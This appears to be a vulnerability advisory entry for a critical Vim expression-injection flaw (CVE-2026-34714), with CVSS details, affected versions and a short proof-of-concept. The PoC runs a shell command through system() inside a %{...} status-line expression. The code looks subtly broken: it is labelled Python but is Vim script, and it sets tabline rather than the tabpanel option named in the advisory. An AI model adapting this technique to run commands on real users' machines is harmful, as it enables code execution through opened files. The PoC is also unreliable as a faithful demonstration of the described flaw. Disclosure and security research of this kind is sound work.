Vim before 9.2.0272 allows code execution that happens immediately upon opening a crafted file in the default configuration, because %{expr} injection occurs with tabpanel lacking P_MLE.
CVSS Details
CVSS Score
9.2
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
Configurations (Affected Products)
cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:* - VULNERABLE
Vim < 9.2.0272
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
" Vim PoC for CVE-2026-34714
" This file exploits the expression injection in tabpanel
" Injecting a command to create a proof file
" Using system() function inside %{...}
set tabline=%{system('echo "CVE-2026-34714_PWNED" > /tmp/poc.txt')}
" Trigger a redraw to force execution immediately upon opening
:redraw!